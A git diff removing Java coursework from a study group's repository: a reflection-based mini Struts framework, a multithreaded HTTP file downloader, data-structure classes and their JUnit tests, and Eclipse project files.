-       /* 1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）*/
-        Object o = reflectionUtil.getInstance(actionName);
-        /*2. 根据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是
-            ("name"="test" ,  "password"="1234") ,那就应该调用 setName和setPassword方法*/
-        reflectionUtil.setParameters(o,parameters);
-        /*3. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"*/
-        String result = (String) reflectionUtil.runMethodWithoutParams(o,"execute");
-       /* 4. 通过反射找到对象的所有getter方法（例如 getMessage）,通过反射来调用，
-       把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,放到View对象的parameters*/
-        Map params = new HashMap<String, String>();
-        List<Method> methods = reflectionUtil.getGetterMethods(o);
-        for(Method method : methods){
-            String key = method.getName().substring(3);
-            String value = null;
-            try {
-                value = (String) method.invoke(o);
-            } catch (IllegalAccessException e) {
-                e.printStackTrace();
-            } catch (InvocationTargetException e) {
-                e.printStackTrace();
-            }
-            params.put(key,value);
-        }
-        /*5. 根据struts.xml中的 <result> 配置,以及execute的返回值，确定哪一个jsp，放到View对象的jsp字段中。*/
-        String jsp = cfg.getView(actionName,result);
-        view.setParameters(params);
-        view.setJsp(jsp);
-
-        return view;
-    }
-
-    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException {
-
-        String actionName = "login";
-        HashMap<String,String> params = new HashMap<String, String>();
-        params.put("name","test");
-        params.put("password","12345");
-
-        View view = Struts.runAction(actionName,params);
-        System.out.println(view.getJsp());
-        System.out.println(view.getParameters());
-
-
-    }
-
-}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/View.java b/group23/769232552/coding/src/main/java/code02/litestruts/View.java
deleted file mode 100644
index c7e630587c..0000000000
--- a/group23/769232552/coding/src/main/java/code02/litestruts/View.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package code02.litestruts;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
diff --git a/group23/769232552/coding/src/main/java/code03/DownloadThread.java b/group23/769232552/coding/src/main/java/code03/DownloadThread.java
deleted file mode 100644
index 7bf8a8e765..0000000000
--- a/group23/769232552/coding/src/main/java/code03/DownloadThread.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package code03;
-
-import code03.api.Connection;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-import java.io.*;
-
-/**
- * 定义线程类
- */
-
-
-public class DownloadThread extends Thread{
-
-	private static final Logger logger = LoggerFactory.getLogger(DownloadThread.class);
-
-	private Connection conn;
-	private int startPos;
-	private int endPos;
-	private static final String fileName = "D://test.png";
-
-
-	public DownloadThread(Connection conn, int startPos, int endPos){
-		this.conn = conn;
-		this.startPos = startPos;
-		this.endPos = endPos;
-	}
-
-	@Override
-	public void run(){
-		logger.debug("thread {} begin to download from start {} to end {} ",Thread.currentThread().getName(),startPos,endPos);
-
-		try {
-			byte[] data = conn.read(startPos,endPos);
-			RandomAccessFile rfile = new RandomAccessFile(fileName,"rw");
-			rfile.seek(startPos);
-			rfile.write(data,0,data.length);
-			rfile.close();
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-		logger.debug("thread {} end to download from start {} to end {} ",Thread.currentThread().getName(),startPos,endPos);
-
-
-	}
-}
diff --git a/group23/769232552/coding/src/main/java/code03/FileDownloader.java b/group23/769232552/coding/src/main/java/code03/FileDownloader.java
deleted file mode 100644
index 6814c49f9c..0000000000
--- a/group23/769232552/coding/src/main/java/code03/FileDownloader.java
+++ /dev/null
@@ -1,109 +0,0 @@
-package code03;
-
-import code03.api.Connection;
-import code03.api.ConnectionException;
-import code03.api.ConnectionManager;
-import code03.api.DownloadListener;
-import code03.impl.ConnectionManagerImpl;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * 线程启动类
- */
-
-public class FileDownloader {
-	
-	private String url;
-	private DownloadListener listener;
-	private ConnectionManager cm;
-	private static boolean downloadFinished = false;
-
-	private final static int THREAD_NUM = 5;
-
-	public FileDownloader(String _url) {
-		this.url = _url;
-	}
-
-	/*
-	(1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-	(2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-	     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。*/
-	public void execute(){
-		Connection conn = null;
-		try {
-			//启动线程
-			int startPos = 0, endPos = 0;
-			List<Thread> threads = new ArrayList<Thread>();
-			for (int i = 0; i < THREAD_NUM; i++) {
-				conn = cm.open(this.url); //每次都要重新获取一个connection.imputstream
-				int length = conn.getContentLength();
-				startPos = length/THREAD_NUM *  i;
-				endPos = length/THREAD_NUM * (i + 1)- 1;
-				DownloadThread downloadThread = new DownloadThread(conn,startPos,endPos);
-				threads.add(downloadThread);
-				downloadThread.start();
-			}
-
-			//调用join方法，确保所有线程的工作已经完成
-			for (int i = 0; i < THREAD_NUM; i++) {
-				try {
-					threads.get(i).join();
-				} catch (InterruptedException e) {
-					e.printStackTrace();
-				}
-			}
-			listener.notifyFinished();
-		} catch (ConnectionException e) {
-			e.printStackTrace();
-		} finally {
-			if(conn != null){
-				conn.close();
-			}
-		}
-	}
-	
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-
-
-	public static void main(String[] args) {
-
-		String url = "http://litten.me/assets/blogImg/litten.png";
-		FileDownloader fileDownloader = new FileDownloader(url);
-		ConnectionManager cm = new ConnectionManagerImpl();
-		fileDownloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-		});
-		fileDownloader.setConnectionManager(cm);
-		fileDownloader.execute();
-
-
-		while (!downloadFinished){
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {
-				e.printStackTrace();
-			}
-		}
-		System.out.println("download finished ! ");
-
-
-	}
-	
-}
diff --git a/group23/769232552/coding/src/main/java/code03/api/Connection.java b/group23/769232552/coding/src/main/java/code03/api/Connection.java
deleted file mode 100644
index 1f2e4e1d39..0000000000
--- a/group23/769232552/coding/src/main/java/code03/api/Connection.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package code03.api;
-
-import java.io.IOException;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-}
diff --git a/group23/769232552/coding/src/main/java/code03/api/ConnectionException.java b/group23/769232552/coding/src/main/java/code03/api/ConnectionException.java
deleted file mode 100644
index 77e886e987..0000000000
--- a/group23/769232552/coding/src/main/java/code03/api/ConnectionException.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package code03.api;
-
-public class ConnectionException extends Exception {
-
-    public ConnectionException(String message,Throwable e){
-        super(message,e);
-    }
-
-}
diff --git a/group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java b/group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java
deleted file mode 100644
index 4cbd46445a..0000000000
--- a/group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package code03.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
diff --git a/group23/769232552/coding/src/main/java/code03/api/DownloadListener.java b/group23/769232552/coding/src/main/java/code03/api/DownloadListener.java
deleted file mode 100644
index f5e7e146a7..0000000000
--- a/group23/769232552/coding/src/main/java/code03/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package code03.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java b/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java
deleted file mode 100644
index 069f21625b..0000000000
--- a/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,107 +0,0 @@
-package code03.impl;
-
-import code03.api.Connection;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-import java.io.BufferedInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.net.URLConnection;
-
-
-public class ConnectionImpl implements Connection{
-
-	private static final Logger logger = LoggerFactory.getLogger(ConnectionImpl.class);
-
-
-	private URLConnection urlConnection;
-	private int length = -1;
-
-	public ConnectionImpl(URLConnection urlConnection){
-		this.urlConnection  = urlConnection;
-	}
-
-	/**
-	 * 读取urlConnection.getInputStream()中的数据，返回byte[]
-	 */
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-		int contentLength = getContentLength();
-		if(startPos < 0 || endPos > contentLength || contentLength <= 0){
-			logger.info("index out of range !");
-			return null;
-		}
-
-		InputStream raw = null;
-		BufferedInputStream in = null;
-		int size = endPos - startPos + 1;
-
-		byte[] data = new byte[size];
-		try{
-			raw = urlConnection.getInputStream();
-			in = new BufferedInputStream(raw);
-			in.skip(startPos);
-
-			int offset = 0;
-			while(offset < size){
-				int bytesRead = in.read(data, offset, size - offset);
-				while (bytesRead  == -1){break;}
-				offset += bytesRead;
-			}
-		} catch (IOException e) {
-			e.printStackTrace();
-		}finally {
-			raw.close();
-			in.close();
-		}
-		return data;
-	}
-
-	@Override
-	public int getContentLength() {
-		if(length != -1){
-			return length;
-		}
-		length = urlConnection.getContentLength();
-
-		//if without content-length header
-		if(length == -1) {
-			int offset = 0;
-			InputStream raws = null;
-			BufferedInputStream ins = null;
-			try {
-				raws = urlConnection.getInputStream();
-				ins = new BufferedInputStream(raws);
-
-				int max_size = 1024 * 1024;//1M
-				byte[] data = new byte[max_size];
-
-				int bytesRead = 0;
-				while (bytesRead != -1) {
-					ins.read(data, offset, max_size - offset);
-					offset += bytesRead;
-				}
-			} catch (IOException e) {
-				e.printStackTrace();
-			} finally {
-				try {
-					raws.close();
-					ins.close();
-				} catch (IOException e) {
-					e.printStackTrace();
-				}
-			}
-			length = offset;
-		}
-		return length;
-	}
-
-	@Override
-	public void close() {
-		if(urlConnection != null){
-			urlConnection = null;
-		}
-	}
-
-}
diff --git a/group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java b/group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java
deleted file mode 100644
index 5078c7608c..0000000000
--- a/group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package code03.impl;
-
-import code03.api.Connection;
-import code03.api.ConnectionException;
-import code03.api.ConnectionManager;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-import java.io.IOException;
-import java.net.MalformedURLException;
-import java.net.URL;
-import java.net.URLConnection;
-
-/**
- * 获取Connection实例
- */
-
-public class ConnectionManagerImpl implements ConnectionManager {
-	private static final Logger logger = LoggerFactory.getLogger(ConnectionManagerImpl.class);
-
-	@Override
-	public Connection open(String url) throws ConnectionException {
-		Connection connection = null;
-		try {
-			URL _url = new URL(url);
-			URLConnection urlConnection = _url.openConnection();
-			connection = new ConnectionImpl(urlConnection);
-		} catch (MalformedURLException e) {
-			logger.error("url {} format error",url);
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-		return connection;
-	}
-
-}
diff --git a/group23/769232552/coding/src/main/resources/struts.xml b/group23/769232552/coding/src/main/resources/struts.xml
deleted file mode 100644
index fd71dc16ff..0000000000
--- a/group23/769232552/coding/src/main/resources/struts.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<struts>
-    <action name="login" class="code02.litestruts.LoginAction">
-        <result name="success">/jsp/homepage.jsp</result>
-        <result name="fail">/jsp/showLogin.jsp</result>
-    </action>
-    <action name="logout" class="code02.litestruts.LogoutAction">
-    	<result name="success">/jsp/welcome.jsp</result>
-    	<result name="error">/jsp/error.jsp</result>
-    </action>
-</struts>
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/ArrayListTest.java b/group23/769232552/coding/src/test/java/code01/ArrayListTest.java
deleted file mode 100644
index 2bfd7f52e1..0000000000
--- a/group23/769232552/coding/src/test/java/code01/ArrayListTest.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package code01;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by yaoyuan on 2017/3/8.
- */
-public class ArrayListTest {
-    ArrayList arrayList;
-    @Before
-    public void setUp(){
-        arrayList = new ArrayList();
-    }
-
-    @Test
-    public void testAdd() throws Exception {
-
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            arrayList.add(str);
-        }
-
-        // size()
-        Assert.assertEquals(array.length,arrayList.size());
-
-        //add(),get()
-        for (int i = 0; i < arrayList.size(); i++){
-            Assert.assertEquals(array[i],arrayList.get(i));
-        }
-    }
-
-    @Test
-    public void testAddWithIndex() throws Exception {
-        ArrayList arrayList2 = new ArrayList(3);//自动扩容
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (int i = 0; i < array.length; i++){
-            arrayList2.add(i,array[i]);
-        }
-        //add(),get()
-        for (int i = 0; i < arrayList2.size(); i++){
-            Assert.assertEquals(array[i],arrayList2.get(i));
-        }
-        arrayList2.add(3,"new");
-        Assert.assertEquals("new",arrayList2.get(3));
-
-
-    }
-
-    @Test
-    public void testRemove() throws Exception {
-
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            arrayList.add(str);
-        }
-        arrayList.remove(0);
-        arrayList.remove(0);
-
-
-        for (int i = 0; i < arrayList.size(); i++) {
-            Assert.assertEquals(array[i+2],arrayList.get(i));
-        }
-
-    }
-}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java b/group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java
deleted file mode 100644
index 8c1f4e8e09..0000000000
--- a/group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package code01;
-
-import org.junit.Test;
-
-/**
- * Created by yaoyuan on 2017/3/10.
- */
-public class BinaryTreeTest {
-
-    @Test
-    public void testCreateBinaryTree(){
-
-        BinaryTree<Integer> binaryTree1 = new BinaryTree<Integer>();
-        BinaryTree<Integer> binaryTree2 = new BinaryTree<Integer>();
-        Integer[] array1 = new Integer[]{3,4,1,2,5};
-        Integer[] array2 = new Integer[]{3,1,4,5,2};
-        binaryTree1.createBinaryTree(array1);
-        binaryTree2.createBinaryTree(array2);
-        binaryTree1.leftOrderScan(binaryTree1.getRoot());
-        binaryTree2.leftOrderScan(binaryTree2.getRoot());
-    }
-
-    @Test
-    public void testInsert(){
-        BinaryTree<Integer> binaryTree3 = new BinaryTree<Integer>();
-    }
-}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/LinkedListTest.java b/group23/769232552/coding/src/test/java/code01/LinkedListTest.java
deleted file mode 100644
index 5481783932..0000000000
--- a/group23/769232552/coding/src/test/java/code01/LinkedListTest.java
+++ /dev/null
@@ -1,174 +0,0 @@
-package code01;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-/**
- * Created by yaoyuan on 2017/3/8.
- */
-public class LinkedListTest {
-
-    @Test
-    public void testAdd() throws Exception {
-
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-
-        // size()
-        Assert.assertEquals(array.length,linklist.size());
-
-        //add(),get()
-        for (int i = 0; i < linklist.size(); i++){
-            Assert.assertEquals(array[i],linklist.get(i));
-        }
-
-    }
-
-    @Test
-    public void testAddWithIndex() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-
-        //add(),get()
-        for (int i = 0; i < linklist.size(); i++){
-            Assert.assertEquals(array[i],linklist.get(i));
-        }
-
-        String str = "new";
-        linklist.add(0,str);
-        Assert.assertEquals(str,linklist.get(0));
-
-        linklist.add(3,str);
-        Assert.assertEquals(str,linklist.get(3));
-
-        linklist.add(linklist.size() ,str);
-        Assert.assertEquals(str,linklist.get(linklist.size()-1));
-    }
-
-    @Test
-    public void testRemove() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-
-        //remove(),get()
-        Assert.assertEquals(linklist.remove(0),array[0]);
-        Assert.assertEquals(linklist.size(),array.length - 1);
-
-        Assert.assertEquals(linklist.remove(linklist.size() - 1),array[array.length-1]);
-        Assert.assertEquals(linklist.size(),array.length - 2);
-
-    }
-
-    @Test
-    public void testAddFirst() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        //addFirst(),get()
-        String str = "new";
-        linklist.addFirst(str);
-        Assert.assertEquals(str,linklist.get(0));
-        Assert.assertEquals(linklist.size(),array.length + 1);
-    }
-
-    @Test
-    public void testAddLast() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        //addLast(),get()
-        String str = "new";
-        linklist.addLast(str);
-        Assert.assertEquals(str,linklist.get(linklist.size()-1));
-        Assert.assertEquals(linklist.size(),array.length + 1);
-    }
-
-    @Test
-    public void testRemoveFirst() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        //removeFirst(),get()
-        Assert.assertEquals(linklist.removeFirst(),array[0]);
-        Assert.assertEquals(linklist.size(),array.length - 1);
-    }
-
-    @Test
-    public void testRemoveLast() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        //removeLast(),get()
-        Assert.assertEquals(linklist.removeLast(),array[array.length-1]);
-        Assert.assertEquals(linklist.size(),array.length - 1);
-
-    }
-
-    @Test
-    public void testReverse(){
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        linklist.reverse();
-        for(int i=0; i<array.length; i++){
-            Assert.assertEquals(array[array.length - i-1], linklist.get(i));
-        }
-    }
-
-    @Test
-    public void testremoveFirstHalf(){
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        linklist.removeFirstHalf();
-        for(int i=0; i<array.length/2; i++){
-            Assert.assertEquals(array[i+array.length/2], linklist.get(i));
-        }
-    }
-
-    @Test
-    public void testRemoveDuplicateValues() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","b","b","d","d","d"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        linklist.printList();
-        linklist.removeDuplicateValues();
-        linklist.printList();
-
-    }
-
-    @Test
-    public void testRemove1() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e","f","g"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        linklist.printList();
-        linklist.remove(0,4);
-        linklist.printList();
-    }
-}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/QueueTest.java b/group23/769232552/coding/src/test/java/code01/QueueTest.java
deleted file mode 100644
index 1390e3d3be..0000000000
--- a/group23/769232552/coding/src/test/java/code01/QueueTest.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package code01;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-/**
- * Created by yaoyuan on 2017/3/8.
- */
-public class QueueTest {
-
-    @Test
-    public void testQueue() throws Exception {
-        Queue queue = new Queue();
-        String[] array = new String[]{"a","b","c"};
-        for (String str : array){
-            queue.enQueue(str);
-        }
-        int i = 0;
-        while (!queue.isEmpty()){
-            Assert.assertEquals(array[i],queue.deQueue());
-            i ++;
-        }
-    }
-}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/StackTest.java b/group23/769232552/coding/src/test/java/code01/StackTest.java
deleted file mode 100644
index e4c9878d50..0000000000
--- a/group23/769232552/coding/src/test/java/code01/StackTest.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package code01;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-/**
- * Created by yaoyuan on 2017/3/8.
- */
-public class StackTest {
-
-    @Test
-    public void testStack() throws Exception {
-        Stack stack = new Stack();
-        String[] array = new String[]{"a","b","c"};
-        for (String str : array){
-            stack.push(str);
-        }
-        int i = 2;
-        while (!stack.isEmpty()){
-            Assert.assertEquals(array[i],stack.peek());
-            Assert.assertEquals(array[i],stack.pop());
-            i --;
-        }
-    }
-
-}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java b/group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java
deleted file mode 100644
index 1277e3dab6..0000000000
--- a/group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java
+++ /dev/null
@@ -1,73 +0,0 @@
-package code02;
-
-import org.junit.Test;
-
-/**
- * Created by yaoyuan on 2017/3/13.
- */
-public class ArrayUtilTest {
-
-    @Test
-    public void testReverseArray() throws Exception {
-        int[] arr1 = new int[]{1,2,3,4,5,6,7};
-        ArrayUtil arrayUtil = new ArrayUtil();
-        arrayUtil.reverseArray(arr1);
-        arrayUtil.printArr(arr1);
-
-
-    }
-
-    @Test
-    public void testRemoveZero() throws Exception {
-        int[] arr1 = new int[]{1,0,2,3,0,0,4,5,6,0};
-        ArrayUtil arrayUtil = new ArrayUtil();
-        int[] arr2 = arrayUtil.removeZero(arr1);
-        arrayUtil.printArr(arr2);
-    }
-
-    @Test
-    public void testMerge() throws Exception {
-        int[] arr1 = new int[]{3, 5, 7, 8};
-        int[] arr2 = new int[]{4, 5, 6, 7};
-        ArrayUtil arrayUtil = new ArrayUtil();
-        int[] arr3 = arrayUtil.merge(arr1,arr2);
-        arrayUtil.printArr(arr3);
-    }
-
-    @Test
-    public void testGrow() throws Exception {
-        int[] arr1 = new int[]{1,2,3,4,5,6,7};
-        ArrayUtil arrayUtil = new ArrayUtil();
-        int[] arr2 = arrayUtil.grow(arr1,3);
-        arrayUtil.printArr(arr2);
-    }
-
-    @Test
-    public void testFibonacci() throws Exception {
-        ArrayUtil arrayUtil = new ArrayUtil();
-        int[] arr1 = arrayUtil.fibonacci(4);
-        arrayUtil.printArr(arr1);
-
-        int[] arr2 = arrayUtil.fibonacci(20);
-        arrayUtil.printArr(arr2);
-    }
-
-    @Test
-    public void testGetPrimes() throws Exception {
-        ArrayUtil arrayUtil = new ArrayUtil();
-        arrayUtil.printArr(arrayUtil.getPrimes(30));
-    }
-
-    @Test
-    public void testGetPerfectNumbers() throws Exception {
-        ArrayUtil arrayUtil = new ArrayUtil();
-        arrayUtil.printArr(arrayUtil.getPerfectNumbers(1000));
-    }
-
-    @Test
-    public void testJoin() throws Exception {
-        int[] arr1 = new int[]{1,2,3,4,5,6,7};
-        ArrayUtil arrayUtil = new ArrayUtil();
-        System.out.println(arrayUtil.join(arr1,"-"));
-    }
-}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java b/group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java
deleted file mode 100644
index 9213702251..0000000000
--- a/group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package code02.litestruts;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-import java.util.HashMap;
-import java.util.Map;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("Message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一致
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("Message"));
-	}
-}
diff --git a/group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java b/group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java
deleted file mode 100644
index cdc58d24b3..0000000000
--- a/group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package code03;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import code03.api.ConnectionManager;
-import code03.api.DownloadListener;
-import code03.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-		
-		String url = "http://litten.me/assets/blogImg/litten.png";
-
-		FileDownloader downloader = new FileDownloader(url);
-
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-
-		
-		downloader.execute();
-		
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {				
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
diff --git a/group23/810181789/.classpath b/group23/810181789/.classpath
deleted file mode 100644
index fb5011632c..0000000000
--- a/group23/810181789/.classpath
+++ /dev/null
@@ -1,6 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<classpath>
-	<classpathentry kind="src" path="src"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
-	<classpathentry kind="output" path="bin"/>
-</classpath>
diff --git a/group23/810181789/.gitignore b/group23/810181789/.gitignore
deleted file mode 100644
index ae3c172604..0000000000
--- a/group23/810181789/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/bin/
diff --git a/group23/810181789/.project b/group23/810181789/.project
deleted file mode 100644
index d78dba00af..0000000000
--- a/group23/810181789/.project
+++ /dev/null
@@ -1,17 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<projectDescription>
-	<name>basicstructure</name>
-	<comment></comment>
-	<projects>
-	</projects>
-	<buildSpec>
-		<buildCommand>
-			<name>org.eclipse.jdt.core.javabuilder</name>
-			<arguments>
-			</arguments>
-		</buildCommand>
-	</buildSpec>
-	<natures>
-		<nature>org.eclipse.jdt.core.javanature</nature>
-	</natures>
-</projectDescription>
diff --git a/group23/810181789/src/firstday/ArrayListt.java b/group23/810181789/src/firstday/ArrayListt.java
deleted file mode 100644
index 229c588f33..0000000000
--- a/group23/810181789/src/firstday/ArrayListt.java
+++ /dev/null
@@ -1,86 +0,0 @@
-package firstday;
-
-import java.util.Arrays;
-
-public class ArrayListt {
-    private Object arr[]=new Object[10];
-    private int pos=0;
-    public boolean add(Object o)
-    {
-    	if(pos<arr.length)
-    	{
-    		arr[pos]=o;
-    		pos++;
-    		return true;
-    	}
-    	else if(pos>=arr.length)
-    	{
-    		arr=Arrays.copyOf(arr, arr.length+1);
-    		arr[pos] = o;
-    		pos++;
-    		return true;
-    	}
-    	return false;
-    }
-    public boolean add(Object o, int index)
-    {
-    	if(pos<arr.length)
-    	{
-    		for(int i=index;i<arr.length;i++)
-    		{
-    			arr[i+1]=arr[i];
-    		}
-    		arr[index] = o;
-    		return true;
-    	}
-    	else if(pos>=arr.length)
-    	{
-    		arr=Arrays.copyOf(arr, arr.length+1);
-    		for(int i=arr.length-2;i>=index;i--)
-    		{
-    			arr[i+1] = arr[i];
-    		}
-    		arr[index] = o;
-    		return true; 
-    	}
-    	return false;
-    }
-    public Object get(int i)
-    {
-    	Object o = arr[i];
-    	return o;
-    }
-    public Object remove(int index)
-    {
-    	Object var=arr[index];
-    	for(int i=index+1;i<arr.length;i++)
-    	{
-    		arr[i-1]=arr[i];
-    	}
-    	pos--;
-    	return var;
-    }
-    public int size()
-    {
-    	return pos;
-    }
-    public static void main(String[] args)
-    {
-    	ArrayListt atest = new ArrayListt();
-    	for(int i=0;i<10;i++)
-    	{
-    		atest.add(i);
-    	}
-    	atest.add(99,7);
-    	for(int i=0;i<atest.arr.length;i++)
-    	{
-    		System.out.println(atest.get(i));
-    	}
-    	atest.remove(1);
-    	for(int i=0;i<atest.arr.length;i++)
-    	{
-    		System.out.println(atest.get(i));
-    	}
-    	atest.size();
-    }
-}
